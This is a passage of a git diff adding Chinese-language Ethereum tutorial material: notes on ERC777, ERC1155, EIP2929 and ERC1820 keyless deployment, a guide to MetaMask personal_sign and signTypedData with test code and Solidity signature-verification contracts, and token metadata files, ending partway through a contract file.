+2. ERC20 标准没有一个转账通知机制, 很多ERC20代币误转到合约之后, 再也没有办法把币转移出来, 已经有大量的ERC20 因为这个原因被锁死, 如锁死的QTUM, 锁死的EOS
+3. ERC20 转账时, 无法携带额外的信息, 例如我们有一些客户希望让用户使用 ERC20 代币购买商品，因为转账没法携带额外的信息, 用户的代币转移过来, 不知道用户具体要购买哪件商品, 从而展加了线下额外的沟通成本
+
+ERC777 作用
+ERC777很好的解决了这些问题, 同时ERC777 也兼容 ERC20 标准. ERC777 在 ERC20的基础上定义了 send(dest, value, data) 来转移代币, send函数额外的参数用来携带其他的信息.
+
+### 5. ERC1155
+
+ERC1155 是游戏开发服务提供商 Enjin 发布的一个全新的代币标准, 旨在帮助游戏开发者节省资金, 促进原子交换, 以此来提升代币之间的交易效率. 它最大进步就是可以融合不同 token 进行打包处理.
+由于现行的代币系统 ERC20 和 ERC721, 用户完成兑换交易需要经历四个独立的步骤, 操作繁琐耗时. 而如果采用 ERC1155 规则, 用户能够将他们想要交换的所有代币捆绑在一个合约中, 只需要一个批准步骤即可完成.
+
+
+### 6. ERC-4626
+https://mirror.xyz/cryptocellguru.eth/E6cmnfIbAVwIXN3Wa1Hpn87uwLoS5bne85Xrp2FtGhI
+
+### 7. EIP2929
+
+EIP2929属于柏林分叉，其核心内容是: SLOAD 的 gas 开支从 800 增加到 2100, CALL 的 gas 开支 (包含STATICCALL 、 DELEGATECALL和其他操作码) 以及外部合约查询 (BALANCE、EXTCODESIZE 等) 从 700 增加到 2600。这种状况仅会在地址和存储 slot 在交易里首次被访问时发生。这样做的意图是进一步提高对 DoS攻击 的抵挡能力: 早期的研究显示, 以太坊目前最大的 DoS 漏洞在存储访问, 攻击者可以以较低的gas创立一些区块，它们对许多用户地址进行重复访问, 处理时刻可能长达 80 秒。 解决办法很简单: 使这些执行时间较长的存储访问操作（它们需要磁盘IO）耗费更多的 gas, 最终 DoS 问题会被削弱约 3 倍. 与此同时, 客户端团队进行了一些超卓的工作——实现磁盘存储缓存、削减存储加载所需的数据库查询次数、以及更长远地堵住这个漏洞.
+
+### 8. ERC1820
+一个智能合约会包含一些函数。我们在编译一个智能合约时，这些函数将在编译的时候嵌入到合约binary中，并随合约一起部署到链上。这是一种静态的绑定关系：函数在编译期绑定到合约，而且只能限定绑定到合约账户；这种绑定关系不可改变。因此，一旦合约部署，你也无法升级你的函数了。
+
+有时，你可能需要动态绑定关系，比如我想为我的代币设置接收钩子函数，而且也可以随时更换、升级我的钩子。而且，显然我希望我的钩子也能够绑定到EOA上，而不仅仅是合约上。
+
+这时候就需要ERC1820了。ERC1820可以动态地为某个地址（EOA 或合约）绑定一个函数。这种方式极大的提升了合约开发的灵活性，比如你可以随时为你的合约添加或者移除一个函数；甚至你可以给一个EOA来增加一个函数实现！
+
+从技术角度来讲，ERC1820是一个注册表，内部记录了这样一个映射关系：Interface->Method->Implementation。其中：
+
+- InterfaceContract：目标地址，可以是EOA，也可以是合约。
+- Method：函数签名的256位哈希值。例如keccak256("set(uint256)")
+- Implementaion：实现合约。
+
+有了这一层关系，就相当于说Interface地址绑定了函数Method；当调用Interface账户的Method功能时，可委派给Implementation合约来实现。
+
+ERC1820注册表的部署也有一些讲究。
+
+ERC1820的合约地址，在任何链上都是唯一的，即
+```
+0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24
+```
+
+如果想生成一个固定的地址，我们可能通常会考虑到CREATE2等思路。这里介绍ERC1820采用的无密钥部署的方法。首先要了解两个基本知识：
+
+- 1） 合约地址的生成机制。每个合约地址是由部署者账户和其nonce决定的。
+- 2） 在以太坊的签名校验体系中，通过签名v，r，s来恢复出地址，作为交易的sender。如果我们把交易的签名修改，则这笔交易仍然合法。尽管如此，攻击者仍然无法以受害者的身份来伪造有害交易。如果要这么做，攻击者需要不断调整签名以尝试恢复出受害者的地址，而这需要付出极大的成本（VRS共65字节，即520位，比暴力枚举私钥还困难）。
+
+在ERC1820的部署方式中，部署的交易的creater是没有私钥的。通常我们签名交易，是通过私钥来构建交易的签名；但在无私钥部署方法中，构建好交易后，签名直接设置了一个特殊的VRS，它将还原出一个特殊的地址来，而没有人知道这个地址的私钥是什么。具体来说：
+
+- 1） 构建部署交易，也称为根交易
+- 2） 将根交易的签名部分设置成一个特定的值：
+```
+	a. v: 27
+	b. r: 0x1820182018201820182018201820182018201820182018201820182018201820
+	c. s: 0x1820182018201820182018201820182018201820182018201820182018201820
+```
+- 3） 通过vrs还原出地址：0xa990077c3205cbdf861e17fa532eeb069ce9ff96 
+- 4） 向这个地址转账资金(0.08 ether)。
+- 5） 将这笔交易广播到网络中。
+
+通过这种方式，不论什么链，将生成一样的地址，因为我们设置好VRS后将确定性的生成出来creator地址，它的nonce是0，因此部署合约的地址也是固定的了。
+
+对应代码请参考test/test-ERC1155.js。
+
+## 测试步骤
+
+- 安装依赖
+
+```bash
+yarn
+```
+
+- 配置环境变量
+把 .env.example 复制为 .env 文件, 然后在其中填入 PRIVATE_KEY, PRIVATE_KEY_ALICE, INFURA_ID
+
+- 测试 ERC865 合约
+
+```bash
+npx hardhat test test/test-ERC865.js
+```
+
+- 测试 EIP712 合约
+
+```
+npx hardhat test test/test-EIP712.js
+```
+
+- 测试 ERC777 合约
+这里使用 rinkeby 测试网进行测试, 如果使用其他的测试网, 执行测试命令时指定对应的测试网络即可.
+
+因为合约部署时需要花费点时间, 可能出现超时的情况, 所以这里单独进行合约部署后再进行测试.
+
+```ts
+// 部署 ERC777Token 合约
+npx hardhat run scripts/deploy-ERC777Token.js --network rinkeby
+
+// 部署 ERC777Sendder 合约
+npx hardhat run scripts/deploy-ERC777Sender.js --network rinkeby
+
+// 测试 ERC777Sendder 合约
+npx hardhat test test/test-ERC777Sender.js --network rinkeby
+```
+
+- 测试 ERC1155 合约
+
+```
+npx hardhat test test/test-ERC1155.js
+```
+
+- 测试部署 ERC1820合约
+
+```
+npx hardhat test test/test-ERC1820.js
+```
+
+## 参考链接
+
+- https://github.com/propsproject/props-token-distribution
+- https://learnblockchain.cn/article/1357
+- https://learnblockchain.cn/2019/04/24/token-EIP712
+- https://learnblockchain.cn/article/1496
+- https://medium.com/alphawallet/- erc875-a-new-standard-for-non-fungible-tokens-and-cheap-atomic-swaps-93ab85b9e7f9
+- https://github.com/AlphaWallet/ERC875-Example-Implementation
+- https://github.com/ethereum/EIPs/tree/master/assets
+- EIP712知乎：https://www.zhihu.com/people/wang-da-chui-82-1/posts
+- EIP712: https://learnblockchain.cn/2019/04/24/token-EIP712
+- Props Token Contracts:  https://github.com/propsproject/props-token-distribution
+- Metamask按照EIP712规范签名完成委托和投票: https://learnblockchain.cn/article/1357
+- 为 DApp 编写 EIP712 签名: https://learnblockchain.cn/2019/04/24/token-EIP712
+- 链下 EIP2612 签名:  https://learnblockchain.cn/article/1496
+- ERC875: https://medium.com/alphawallet/- erc875-a-new-standard-for-non-fungible-tokens-and-cheap-atomic-swaps-93ab85b9e7f9
+- ERC875-Example: https://github.com/AlphaWallet/ERC875-Example-Implementation
+- EIP 库:  https://github.com/ethereum/EIPs/tree/master/assets
+- EIP712知乎：https://www.zhihu.com/people/wang-da-chui-82-1/posts
+- ERC777 样例代码: https://github.com/abcoathup/Simple777Token
+- ERC777 示例教程: https://learnblockchain.cn/2019/09/27/erc777
+- 什么是ERC777代币，以及它与ERC20代币的不同之处: https://zhuanlan.zhihu.com/p/87279316
+- ERC1155 科普: https://www.chainnews.com/articles/385928537973.htm
+- ERC1155 样例代码:  https://github.com/enjin/erc-1155
+- EIP2929 介绍: https://eips.ethereum.org/EIPS/eip-2929
+
diff --git a/basic/23-erc865-and-erc875/Sign&Verify.md b/basic/23-erc865-and-erc875/Sign&Verify.md
new file mode 100644
index 000000000..2a33e2c43
--- /dev/null
+++ b/basic/23-erc865-and-erc875/Sign&Verify.md
@@ -0,0 +1,634 @@
+## 如何签名以及验证签名？
+
+### 签名
+
+1. 首先对 message 进行 hash 运算，不同格式的 message，计算 hash 的方式不一样。
+2. 将 hash 结果进行签名（在链下签名，需要用到私钥，一般都是需要调用钱包插件来进行签名）；
+
+### 验证签名
+
+1. 对 message 重新进行 hash 运算；
+1. 通过签名和 hash，来反算出 signer；这一步主要用到了`ecrecover`方法
+1. 比较 signer 是不是一致的
+
+## 签名类型
+
+Metamask 提供了几种不同的签名方法，整个历史变化如下：
+
+- eth_sign：最初的版本使用 eth_sign 方法，可以签名任意数据，但是很危险，已经不推荐使用。
+
+  但是 metamask 依然支持，不过会做出危险提示：
+
+<img src="./img/image-20220325101549118.png" alt="image-20220325101549118" style="zoom:50%;" />
+
+- personal_sign： 该方法在任何签名数据前加上`\x19Ethereum Signed Message:\n`，这意味着如果有人要签署交易数据，添加的前缀字符串会使其成为无效交易。
+
+<img src="./img/image-20220325101607225.png" style="zoom:33%;" />
+
+
+
+- signTypedData （现在和 signTypedData_v1 效果一样）
+- signTypedData_v1：
+- signTypedData_v3
+- signTypedData_v4
+
+后面出现的 signTypedData，都是基于 EIP-712 标准，专门针对于交易数据做的签名。
+注意 signTypedData 签名不会增加`\x19Ethereum Signed Message:\n`；
+
+## 代码示例
+
+本示例的代码都在`verifySignature.test.js`中，主要是利用私钥在链下签名。
+
+然后通过合约方法，在链上进行签名的验证。
+
+值得一提的是：eth-sig-util 这个 lib 库可以很好的帮助我们来进行链下签名和链下验证；
+
+### 一、personal_sign 例子
+
+#### 对简单的对字符串进行签名
+
+```js
+require('@nomiclabs/hardhat-waffle');
+const { expect } = require('chai');
+
+const {
+  encrypt,
+  recoverPersonalSignature,
+  recoverTypedSignatureLegacy,
+  recoverTypedSignature,
+  recoverTypedSignature_v4,
+} = require('eth-sig-util');
+
+const { BigNumber, utils, provider } = ethers;
+const {
+  solidityPack,
+  concat,
+  toUtf8Bytes,
+  keccak256,
+  SigningKey,
+  formatBytes32String,
+} = utils;
+
+describe('VerifySignature', () => {
+  let contract;
+
+  it('personal_sign', async () => {
+    const [signer] = await ethers.getSigners();
+    console.log('signer address = ', signer.address);
+    const message = 'Example `personal_sign` message';
+    // 调用ethers.utils的方法，对字符串hash
+    const hashedMessage = utils.keccak256(utils.toUtf8Bytes(message));
+    // const hashedMessage = `0x${Buffer.from(message, 'utf8').toString('hex')}`;
+    console.log(`hashedMessage = `, hashedMessage);
+
+    // 调用钱包的personal_sign方法，进行签名
+    const signature = await provider.send('personal_sign', [
+      hashedMessage,
+      signer.address,
+    ]);
+    console.log(`signature = `, signature);
+
+    // 调用eth-sig-util方法，验证签名
+    const recoveredAddr = recoverPersonalSignature({
+      data: hashedMessage,
+      sig: signature,
+    });
+    console.log('recoveredAddr = ', recoveredAddr);
+    expect(await signer.address.toUpperCase()).to.equal(
+      recoveredAddr.toUpperCase()
+    );
+
+    // 调用合约的verify方法，验证签名
+    const recoverResult = await contract.verify(message, signature);
+    console.log('recoverResult = ', recoverResult);
+    expect(await signer.address.toUpperCase()).to.equal(
+      recoverResult.toUpperCase()
+    );
+  });
+});
+```
+
+#### 对多个不同类型的参数加签
+
+```js
+//solidityKeccak256
+const types = ['bytes', 'bytes', 'address', 'string', 'string', 'uint256'];
+const values = [
+  '0x19',
+  '0x00',
+  '0x8ef9f0acfef3d9ab023812bb889a8f5a214b9b82',
+  '测试',
+  '{}',
+  1,
+];
+const hashedMessage = utils.solidityKeccak256(types, values);
+const signature = await provider.send('personal_sign', [
+  hashedMessage,
+  signer.address,
+]);
+
+// 合约里需要提供接收bytes32格式的字段，来验证签名
+const recover = await contract.recover2(newHash, signature);
+```
+
+`keccak256（solidityPack）` 和 `solidityKeccak256`这两种写法相同
+
+```js
+const types = [
+  'address',
+  'address',
+  'uint256',
+  'address',
+  'uint256',
+  'uint256',
+  'uint256',
+];
+const values = [
+  forkDelta.address,
+  baseToken,
+  baseAmount,
+  quoteToken,
+  quoteAmount,
+  expires,
+  orderNonce,
+];
+let hash = utils.keccak256(utils.solidityPack(types, values));
+const hashedMessage = utils.solidityKeccak256(types, values);
+console.log(hash == hashedMessage);
+```
+
+在 web3 里可以这么写
+
+```js
+const hashedMessage = web3.utils.soliditySha3(
+  forkDelta.address,
+  baseToken,
+  baseAmount.toString(),
+  quoteToken,
+  quoteAmount.toString(),
+  expires,
+  orderNonce
+);
+```
+
+Q: 对于 struct 类型的参数，怎么在合约里验证签名？
+
+```solidity
+ function prefixed(bytes32 hash) internal pure returns (bytes32) {
+        return keccak256(abi.encodePacked('\x19Ethereum Signed Message:\n32', hash));
+    }
+
+
+    function verify(OrderSigned memory orderSigned, uint256 amount) public {
+        bytes32 hash = keccak256(
+            abi.encodePacked(
+                address(this),
+                orderSigned.baseToken,
+                orderSigned.baseAmount,
+                orderSigned.quoteToken,
+                orderSigned.quoteAmount,
+                orderSigned.expires,
+                orderSigned.nonce
+            )
+        );
+        console.logBytes32(hash);
+
+        bytes32 messageDigest = prefixed(hash);
+        // address signer = ecrecover(messageDigest, orderSigned.v, orderSigned.r, orderSigned.s);
+        address signer = ECDSA.recover(messageDigest, orderSigned.signature);
+
+        }
+```
+
+#### 合约里验证签名的方法
+
+合约里主要是通过`ecrecover`方法，来得到签名的 address。
+
+但是出于安全原因，推荐使用`ECDSA.recover`方法
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract VerifySignature {
+    function getMessageHash(string memory _message) public pure returns (bytes32) {
+        return keccak256(abi.encodePacked(_message));
+    }
+
+    function getEthSignedMessageHash(bytes32 _messageHash) public pure returns (bytes32) {
+        /*
+        Signature is produced by signing a keccak256 hash with the following format:
+        "\x19Ethereum Signed Message\n" + len(msg) + msg
+        */
+        return keccak256(abi.encodePacked('\x19Ethereum Signed Message:\n32', _messageHash));
+    }
+
+
+    function verify(string memory _message, bytes memory signature) public pure returns (address) {
+        // 1、先生成hash
+        bytes32 messageHash = getMessageHash(_message);
+
+        // 2、生成一个eth signed 的hash
+        bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);
+
+        // 3、从hash里计算出signer
+        // return recoverSigner(ethSignedMessageHash, signature);
+        // 更安全
+        return ECDSA.recover(ethSignedMessageHash, signature);
+
+    }
+
+    // verify2直接借用了ECDSA的方法，来返回signer
+    function verify2(bytes32 _hash, bytes memory _signature) public pure returns (address) {
+        return _hash.toEthSignedMessageHash().recover(_signature);
+    }
+
+    function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) public pure returns (address) {
+        (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
+        return ecrecover(_ethSignedMessageHash, v, r, s);
+    }
+
+		// 计算rsv
+    function splitSignature(bytes memory sig)
+        public
+        pure
+        returns (
+            bytes32 r,
+            bytes32 s,
+            uint8 v
+        )
+    {
+        require(sig.length == 65, 'invalid signature length');
+
+        assembly {
+            /*
+            First 32 bytes stores the length of the signature
+            add(sig, 32) = pointer of sig + 32
+            effectively, skips first 32 bytes of signature
+            mload(p) loads next 32 bytes starting at the memory address p into memory
+            */
+
+            // first 32 bytes, after the length prefix
+            r := mload(add(sig, 32))
+            // second 32 bytes
+            s := mload(add(sig, 64))
+            // final byte (first byte of the next 32 bytes)
+            v := byte(0, mload(add(sig, 96)))
+        }
+        // implicitly return (r, s, v)
+    }
+}
+```
+
+#### JS 对签名数据计算 r/s/v （做个了解）
+
+r,s,v 是 ecreover 方法里的参数，这个是通过签名计算出来的。
+
+也可以在合约里计算，参考上面的代码。
+
+```js
+// split signature
+// 这里的r/s/v是签名算法的偏移量，会在验证签名时用到，做个了解
+const r = signature.slice(0, 66);
+const s = '0x' + signature.slice(66, 130);
+const v = parseInt(signature.slice(130, 132), 16);
+console.log({ r, s, v });
+```
+
+### 二、signTypedData_v1
+
+v1 基于早期的 EIP-712 的协议，对数据的格式要求如下：
+
+```
+{
+	  type: 'array',
+		items: {
+				type: 'object',
+        properties: {
+          name: {type: 'string'},
+          type: {type: 'string'}, // Solidity type as described here: https://github.com/ethereum/solidity/blob/93b1cc97022aa01e7daa9816bcc23108bbe008b5/libsolidity/ast/Types.cpp#L182
+          value: {
+            oneOf: [
+              {type: 'string'},
+              {type: 'number'},
+              {type: 'boolean'},
+            ],
+          },
+        },
+  },
+}
+```
+
+早期 Web3.js 里调用方式如下，现在找不到这个 api 去支持签名 v1 版本的数据了。
+
+```
+const typedData = [
+  {
+    'type': 'string',
+    'name': 'message',
+    'value': 'Hi, Alice!',
+  },
+  {
+    'type': 'uint',
+    'name': 'value',
+    'value': 42,
+  },
+];
+// 找不到了
+const signature = await web3.personal.signTypedData(typedData);
+```
+
+如果想尝试，可以用 matamask 提供的`eth_signTypedData`方法来唤起。效果如下：
+
+<img src="./img/image-20220325103103575.png" alt="image-20220325103103575" style="zoom:50%;" />
+
+通过`eth-sig-util`来验证：
+
+```solidity
+const {
+  recoverTypedSignatureLegacy,
+  signTypedDataLegacy,
+} = require('eth-sig-util');
+
+it('struct_sign_typed_data_v1', async () => {
+    const [signer] = await ethers.getSigners();
+    signer.privateKey = '10645fd201fc751be73c2d5219a2cd738418f2b15b90d1ea5fa2f422951af7a3';
+    console.log('signer address = ', signer.address);
+    const msgParams = [
+      {
+        type: 'string',
+        name: 'Message',
+        value: 'Hi, Alice!',
+      },
+      {
+        type: 'uint32',
+        name: 'Value',
+        value: 1337,
+      },
+    ];
+    const privateKey1Buffer = Buffer.from(signer.privateKey, 'hex');
+    const signature = signTypedDataLegacy(privateKey1Buffer, { data: msgParams });
+
+    // 如果是metmask插件，可以调用下面的方法
+    // const signature = await provider.send('eth_signTypedData', [msgParams, signer.address]);
+    const jsRecoveredAddr = recoverTypedSignatureLegacy({
+      data: msgParams,
+      sig: signature,
+    });
+    console.log('jsRecoveredAddr = ', jsRecoveredAddr);
+    expect(signer.address.toUpperCase()).to.equal(jsRecoveredAddr.toUpperCase());
+  });
+```
+
+==注：似乎过时了，我在 web3 和 etherjs 里都没有找到对应的方法调用。==
+
+### 三、signTypedData_v3
+
+v3 版本是基于 EIP-712 协议，除了对数组和嵌套数据结构不支持
+
+（except that arrays and recursive data structures are not supported.）
+
+```js
+it('struct_sign_typed_data_v3', async () => {
+  const [signer] = await ethers.getSigners();
+  console.log('signer address = ', signer.address);
+  const network = await provider.getNetwork();
+  const chainId = network.chainId;
+  console.log('chainId = ', network.chainId);
+  console.log(`contract address = `, contract.address);
+  const msgParams = {
+    types: {
+      Person: [
+        { name: 'name', type: 'string' },
+        { name: 'wallet', type: 'address' },
+      ],
+      Mail: [
+        { name: 'from', type: 'Person' },
+        { name: 'to', type: 'Person' },
+        { name: 'contents', type: 'string' },
+      ],
+    },
+    primaryType: 'Mail',
+    domain: {
+      name: 'Ether Mail',
+      version: '1',
+      chainId,
+      verifyingContract: contract.address,
+    },
+    message: {
+      from: {
+        name: 'Cow',
+        wallet: '0xCD2a3d9F938E13CD947Ec05AbC7FE734Df8DD826',
+      },
+      to: {
+        name: 'Bob',
+        wallet: '0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB',
+      },
+      contents: 'Hello, Bob!',
+    },
+  };
+
+  const signature = await signer._signTypedData(
+    msgParams.domain,
+    msgParams.types,
+    msgParams.message
+  );
+  console.log(`signature = `, signature);
+  // 如果是metmask插件，可以调用下面的方法
+  // const signature = await provider.send('eth_signTypedData_v3', [signer.address, msgParams]);
+
+  const jsRecoveredAddr = utils.verifyTypedData(
+    msgParams.domain,
+    msgParams.types,
+    msgParams.message,
+    signature
+  );
+  console.log('jsRecoveredAddr = ', jsRecoveredAddr);
+  expect(signer.address.toUpperCase()).to.equal(jsRecoveredAddr.toUpperCase());
+
+  const contractRecoveredResult = await contract.verify3(
+    msgParams.message,
+    signature
+  );
+  console.log('contractRecoveredResult = ', contractRecoveredResult);
+  expect(await signer.address.toUpperCase()).to.equal(
+    contractRecoveredResult.toUpperCase()
+  );
+});
+```
+
+合约上验证的方法：
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+pragma experimental ABIEncoderV2;
+
+import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
+import '@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol';
+import 'hardhat/console.sol';
+
+contract VerifySignature is EIP712 {
+    using ECDSA for bytes32;
+
+    // 这里的domain version要和前端传的一致
+    constructor() EIP712('Ether Mail', '1') {}
+
+    /**
+         Person: [
+          { name: 'name', type: 'string' },
+          { name: 'wallet', type: 'address' },
+        ],
+        Mail: [
+          { name: 'from', type: 'Person' },
+          { name: 'to', type: 'Person' },
+          { name: 'contents', type: 'string' },
+        ],
+ */
+    struct Person {
+        string name;
+        address wallet;
+    }
+
+    struct Mail {
+        Person from;
+        Person to;
+        string contents;
+    }
+    bytes32 constant MAIL_TYPE_HASH = keccak256('Mail(Person from,Person to,string contents)Person(string name,address wallet)');
+    bytes32 PERSON_TYPE_HASH = keccak256('Person(string name,address wallet)');
+
+    function hash(Person calldata person) internal view returns (bytes32) {
+        return keccak256(abi.encode(PERSON_TYPE_HASH, keccak256(bytes(person.name)), person.wallet));
+    }
+
+    function hash(Mail calldata mail) internal view returns (bytes32) {
+        return keccak256(abi.encode(MAIL_TYPE_HASH, hash(mail.from), hash(mail.to), keccak256(bytes(mail.contents))));
+    }
+
+    function verify3(Mail calldata mail, bytes memory _signature) public view returns (address) {
+        bytes32 structHash = hash(mail);
+        bytes32 digest = _hashTypedDataV4(structHash);
+        address signer = ECDSA.recover(digest, _signature);
+        return signer;
+    }
+
+}
+
+```
+
+### 四、signTypedData_v4
+
+v4 版本是基于 EIP-712 协议，是最新的，支持所有的数据格式，包括数组和嵌套的 struct。
+
+```js
+it('struct_sign_typed_data_v4', async () => {
+  const [signer] = await ethers.getSigners();
+  console.log('signer address = ', signer.address);
+  const network = await provider.getNetwork();
+  const chainId = network.chainId;
+  console.log('chainId = ', network.chainId);
+  console.log(`contract address = `, contract.address);
+  const msgParams = {
+    domain: {
+      version: '1',
+      name: 'Ether Mail',
+      chainId,
+      verifyingContract: contract.address,
+    },
+    message: {
+      data: ['1', '2', '3'],
+    },
+    primaryType: 'Message',
+    types: {
+      Message: [{ name: 'data', type: 'string[]' }],
+    },
+  };
+
+  const signature = await signer._signTypedData(
+    msgParams.domain,
+    msgParams.types,
+    msgParams.message
+  );
+  console.log(`signature = `, signature);
+  // 如果是metmask插件，可以调用下面的方法
+  // const signature = await provider.send('eth_signTypedData_v4', [signer.address, msgParams]);
+
+  const jsRecoveredAddr = utils.verifyTypedData(
+    msgParams.domain,
+    msgParams.types,
+    msgParams.message,
+    signature
+  );
+
+  console.log('jsRecoveredAddr = ', jsRecoveredAddr);
+  expect(signer.address.toUpperCase()).to.equal(jsRecoveredAddr.toUpperCase());
+
+  const contractRecoveredResult = await contract.verify4(
+    msgParams.message,
+    signature
+  );
+  console.log('contractRecoveredResult = ', contractRecoveredResult);
+  expect(await signer.address.toUpperCase()).to.equal(
+    contractRecoveredResult.toUpperCase()
+  );
+});
+```
+
+在合约上认证的方法:
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+pragma experimental ABIEncoderV2;
+
+import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
+import '@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol';
+import 'hardhat/console.sol';
+
+contract VerifySignature is EIP712 {
+    using ECDSA for bytes32;
+
+    // domain version
+    constructor() EIP712('Ether Mail', '1') {}
+
+
+
+    struct Message {
+        string[] data;
+    }
+
+
+    bytes32 constant Message_TYPE_HASH = keccak256('Message(string[] data)');
+
+
+    function hash(Message calldata message) internal view returns (bytes32) {
+        bytes32[] memory keccakData = new bytes32[](message.data.length);
+        for (uint256 i = 0; i < message.data.length; i++) {
+            keccakData[i] = keccak256(bytes(message.data[i]));
+        }
+        bytes32 computedHash5 = keccak256(abi.encodePacked(keccakData));
+        return keccak256(abi.encode(Message_TYPE_HASH, computedHash5));
+    }
+
+    function verify4(Message calldata message, bytes memory _signature) public view returns (address) {
+        console.log(message.data.length);
+        bytes32 structHash = hash(message);
+        bytes32 digest = _hashTypedDataV4(structHash);
+        address signer = ECDSA.recover(digest, _signature);
+        return signer;
+    }
+
+}
+
+```
+
+## 参考文档
+
+metamask 的签名方法： https://docs.metamask.io/guide/signing-data.html#signing-data-with-metamask
+
+Test Dapp: https://github.com/MetaMask/test-dapp
+
+签名文章：https://medium.com/metamask/eip712-is-coming-what-to-expect-and-how-to-use-it-bb92fd1a7a26
+
+https://github.com/ethereum/EIPs/blob/master/assets/eip-712/Example.js
diff --git a/basic/23-erc865-and-erc875/Simple777Sender-address.json b/basic/23-erc865-and-erc875/Simple777Sender-address.json
new file mode 100644
index 000000000..d35b4c138
--- /dev/null
+++ b/basic/23-erc865-and-erc875/Simple777Sender-address.json
@@ -0,0 +1,3 @@
+{
+  "contractAddress": "0xa8aB51559dA99Ff90E5A343258B744A45da4c531"
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/Simple777Token-address.json b/basic/23-erc865-and-erc875/Simple777Token-address.json
new file mode 100644
index 000000000..6b0657512
--- /dev/null
+++ b/basic/23-erc865-and-erc875/Simple777Token-address.json
@@ -0,0 +1,3 @@
+{
+  "contractAddress": "0x648483fE9fb1ba57afd4a738F0E63034b7A4CF7e"
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000000.json b/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000000.json
new file mode 100644
index 000000000..82f9d0c8f
--- /dev/null
+++ b/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000000.json
@@ -0,0 +1,6 @@
+{
+  "description": "GameItems - Gold",
+  "external_url": "https://forum.openzeppelin.com",
+  "image": "https://openmoji.org/data/color/svg/1FA99.svg",
+  "name": "Gold"
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000001.json b/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000001.json
new file mode 100644
index 000000000..b806f4bdc
--- /dev/null
+++ b/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000001.json
@@ -0,0 +1,6 @@
+{
+  "description": "GameItems - Silver",
+  "external_url": "https://forum.openzeppelin.com",
+  "image": "https://openmoji.org/data/black/svg/1FA99.svg",
+  "name": "Silver"
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000002.json b/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000002.json
new file mode 100644
index 000000000..99f9f4e5e
--- /dev/null
+++ b/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000002.json
@@ -0,0 +1,6 @@
+{
+  "description": "GameItems - Thor's Hammer",
+  "external_url": "https://forum.openzeppelin.com",
+  "image": "https://openmoji.org/data/color/svg/1F528.svg",
+  "name": "Thor's Hammer"
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000003.json b/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000003.json
new file mode 100644
index 000000000..9cc497a92
--- /dev/null
+++ b/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000003.json
@@ -0,0 +1,6 @@
+{
+  "description": "GameItems - Sword",
+  "external_url": "https://forum.openzeppelin.com",
+  "image": "https://openmoji.org/data/color/svg/2694.svg",
+  "name": "Sword"
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000004.json b/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000004.json
new file mode 100644
index 000000000..f2a34ab67
--- /dev/null
+++ b/basic/23-erc865-and-erc875/api/token/0000000000000000000000000000000000000000000000000000000000000004.json
@@ -0,0 +1,6 @@
+{
+  "description": "GameItems - Shield",
+  "external_url": "https://forum.openzeppelin.com",
+  "image": "https://openmoji.org/data/color/svg/1F6E1.svg",
+  "name": "Shield"
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/contracts/VerifySignature.sol b/basic/23-erc865-and-erc875/contracts/VerifySignature.sol
new file mode 100644
index 000000000..c665febe4
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/VerifySignature.sol
@@ -0,0 +1,175 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.8;
+pragma experimental ABIEncoderV2;
+
+import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
+import '@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol';
+import 'hardhat/console.sol';
+
+contract VerifySignature is EIP712 {
+    using ECDSA for bytes32;
+
+    // domain version
+    constructor() EIP712('Ether Mail', '1') {}
+
+    function getMessageHash(string memory _message) public pure returns (bytes32) {
+        return keccak256(abi.encodePacked(_message));
+    }
+
+    function getEthSignedMessageHash(bytes32 _messageHash) public pure returns (bytes32) {
+        /*
+        Signature is produced by signing a keccak256 hash with the following format:
+        "\x19Ethereum Signed Message\n" + len(msg) + msg
+        */
+        return keccak256(abi.encodePacked('\x19Ethereum Signed Message:\n32', _messageHash));
+    }
+
+    /* 4. Verify signature
+     *  message = "coffee and donuts"
+     *  signature =
+        0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b
+    */
+
+    function verify(string memory _message, bytes memory signature) public pure returns (address) {
+        // 1、先生成hash
+        bytes32 messageHash = getMessageHash(_message);
+
+        // 2、生成一个eth signed 的hash
+        bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);
+
